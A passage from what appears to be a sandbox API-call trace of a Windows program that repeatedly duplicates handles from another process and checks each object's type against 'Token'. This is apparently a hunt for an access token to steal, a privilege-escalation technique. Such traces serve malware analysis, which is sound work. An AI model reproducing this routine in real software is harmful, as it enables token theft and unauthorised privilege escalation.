ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.882] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.882] LocalFree (hMem=0x160a40) returned 0x0 [0196.882] CloseHandle (hObject=0x16c) returned 1 [0196.882] CloseHandle (hObject=0x168) returned 1 [0196.882] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.882] GetCurrentProcess () returned 0xffffffffffffffff [0196.882] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.882] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.882] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.882] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.882] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.882] LocalFree (hMem=0x160a40) returned 0x0 [0196.882] CloseHandle (hObject=0x16c) returned 1 [0196.882] CloseHandle (hObject=0x168) returned 1 [0196.882] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.882] GetCurrentProcess () returned 0xffffffffffffffff [0196.882] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.882] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.882] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.882] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.882] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.882] LocalFree (hMem=0x160a40) returned 0x0 [0196.882] CloseHandle (hObject=0x16c) returned 1 [0196.882] CloseHandle (hObject=0x168) returned 1 [0196.883] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.883] GetCurrentProcess () returned 0xffffffffffffffff [0196.883] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4b8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.883] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.883] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.883] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.883] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.883] LocalFree (hMem=0x160a40) returned 0x0 [0196.883] CloseHandle (hObject=0x16c) returned 1 [0196.883] CloseHandle (hObject=0x168) returned 1 [0196.883] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.883] GetCurrentProcess () returned 0xffffffffffffffff [0196.883] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4bc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.883] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.883] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.883] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.883] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.883] LocalFree (hMem=0x160a40) returned 0x0 [0196.883] CloseHandle (hObject=0x16c) returned 1 [0196.883] CloseHandle (hObject=0x168) returned 1 [0196.883] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.883] GetCurrentProcess () returned 0xffffffffffffffff [0196.883] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.883] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.883] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.884] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.884] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.884] LocalFree (hMem=0x160a40) returned 0x0 [0196.884] CloseHandle (hObject=0x16c) returned 1 [0196.884] CloseHandle (hObject=0x168) returned 1 [0196.884] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.884] GetCurrentProcess () returned 0xffffffffffffffff [0196.884] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4c4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.884] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.884] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.884] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.884] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.884] LocalFree (hMem=0x160a40) returned 0x0 [0196.884] CloseHandle (hObject=0x16c) returned 1 [0196.884] CloseHandle (hObject=0x168) returned 1 [0196.884] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.884] GetCurrentProcess () returned 0xffffffffffffffff [0196.884] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.884] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.884] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.884] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.884] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.884] LocalFree (hMem=0x160a40) returned 0x0 [0196.884] CloseHandle (hObject=0x16c) returned 1 [0196.884] CloseHandle (hObject=0x168) returned 1 [0196.885] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.885] GetCurrentProcess () returned 0xffffffffffffffff [0196.885] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4d0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.885] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.885] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.885] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.885] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.885] LocalFree (hMem=0x181a40) returned 0x0 [0196.885] CloseHandle (hObject=0x16c) returned 1 [0196.885] CloseHandle (hObject=0x168) returned 1 [0196.885] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.885] GetCurrentProcess () returned 0xffffffffffffffff [0196.885] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4d4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.885] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.885] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.885] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.885] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.885] LocalFree (hMem=0x160a40) returned 0x0 [0196.885] CloseHandle (hObject=0x16c) returned 1 [0196.885] CloseHandle (hObject=0x168) returned 1 [0196.885] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.885] GetCurrentProcess () returned 0xffffffffffffffff [0196.885] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.885] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.885] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.886] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.886] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.886] LocalFree (hMem=0x181a40) returned 0x0 [0196.886] CloseHandle (hObject=0x16c) returned 1 [0196.886] CloseHandle (hObject=0x168) returned 1 [0196.886] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.886] GetCurrentProcess () returned 0xffffffffffffffff [0196.886] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.886] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.886] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.886] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.886] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.886] LocalFree (hMem=0x160a40) returned 0x0 [0196.886] CloseHandle (hObject=0x16c) returned 1 [0196.886] CloseHandle (hObject=0x168) returned 1 [0196.886] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.886] GetCurrentProcess () returned 0xffffffffffffffff [0196.886] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4e0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.886] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.886] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.886] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.886] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.886] LocalFree (hMem=0x160a40) returned 0x0 [0196.886] CloseHandle (hObject=0x16c) returned 1 [0196.886] CloseHandle (hObject=0x168) returned 1 [0196.887] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.887] GetCurrentProcess () returned 0xffffffffffffffff [0196.887] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4e4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.887] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.887] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.887] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.887] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.887] LocalFree (hMem=0x160a40) returned 0x0 [0196.887] CloseHandle (hObject=0x16c) returned 1 [0196.887] CloseHandle (hObject=0x168) returned 1 [0196.887] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.887] GetCurrentProcess () returned 0xffffffffffffffff [0196.887] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4e8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.887] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.887] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.887] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.887] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.887] LocalFree (hMem=0x160a40) returned 0x0 [0196.887] CloseHandle (hObject=0x16c) returned 1 [0196.887] CloseHandle (hObject=0x168) returned 1 [0196.887] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.887] GetCurrentProcess () returned 0xffffffffffffffff [0196.887] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4ec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.887] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.887] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.888] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.888] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.888] LocalFree (hMem=0x160a40) returned 0x0 [0196.888] CloseHandle (hObject=0x16c) returned 1 [0196.888] CloseHandle (hObject=0x168) returned 1 [0196.888] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.888] GetCurrentProcess () returned 0xffffffffffffffff [0196.888] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.888] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.888] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.888] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.888] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.888] LocalFree (hMem=0x160a40) returned 0x0 [0196.888] CloseHandle (hObject=0x16c) returned 1 [0196.888] CloseHandle (hObject=0x168) returned 1 [0196.888] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.888] GetCurrentProcess () returned 0xffffffffffffffff [0196.888] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.888] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.888] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.888] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.888] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.888] LocalFree (hMem=0x160a40) returned 0x0 [0196.888] CloseHandle (hObject=0x16c) returned 1 [0196.888] CloseHandle (hObject=0x168) returned 1 [0196.889] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.889] GetCurrentProcess () returned 0xffffffffffffffff [0196.889] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.889] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.889] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.889] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.889] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.889] LocalFree (hMem=0x160a40) returned 0x0 [0196.889] CloseHandle (hObject=0x16c) returned 1 [0196.889] CloseHandle (hObject=0x168) returned 1 [0196.889] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.889] GetCurrentProcess () returned 0xffffffffffffffff [0196.889] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x500, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.889] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.889] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.889] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.889] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.889] LocalFree (hMem=0x160a40) returned 0x0 [0196.889] CloseHandle (hObject=0x16c) returned 1 [0196.889] CloseHandle (hObject=0x168) returned 1 [0196.889] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.889] GetCurrentProcess () returned 0xffffffffffffffff [0196.889] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x504, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.889] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.889] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.890] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.890] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.890] LocalFree (hMem=0x181a40) returned 0x0 [0196.890] CloseHandle (hObject=0x16c) returned 1 [0196.890] CloseHandle (hObject=0x168) returned 1 [0196.890] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.890] GetCurrentProcess () returned 0xffffffffffffffff [0196.890] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x508, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.890] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.890] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.890] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.890] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.890] LocalFree (hMem=0x160a40) returned 0x0 [0196.890] CloseHandle (hObject=0x16c) returned 1 [0196.890] CloseHandle (hObject=0x168) returned 1 [0196.890] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.890] GetCurrentProcess () returned 0xffffffffffffffff [0196.890] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.890] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.890] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.890] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.890] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.890] LocalFree (hMem=0x160a40) returned 0x0 [0196.890] CloseHandle (hObject=0x16c) returned 1 [0196.891] CloseHandle (hObject=0x168) returned 1 [0196.891] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.891] GetCurrentProcess () returned 0xffffffffffffffff [0196.891] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x510, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.891] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.891] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.891] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.891] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.891] LocalFree (hMem=0x160a40) returned 0x0 [0196.891] CloseHandle (hObject=0x16c) returned 1 [0196.891] CloseHandle (hObject=0x168) returned 1 [0196.891] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.891] GetCurrentProcess () returned 0xffffffffffffffff [0196.891] DuplicateHandle (in: 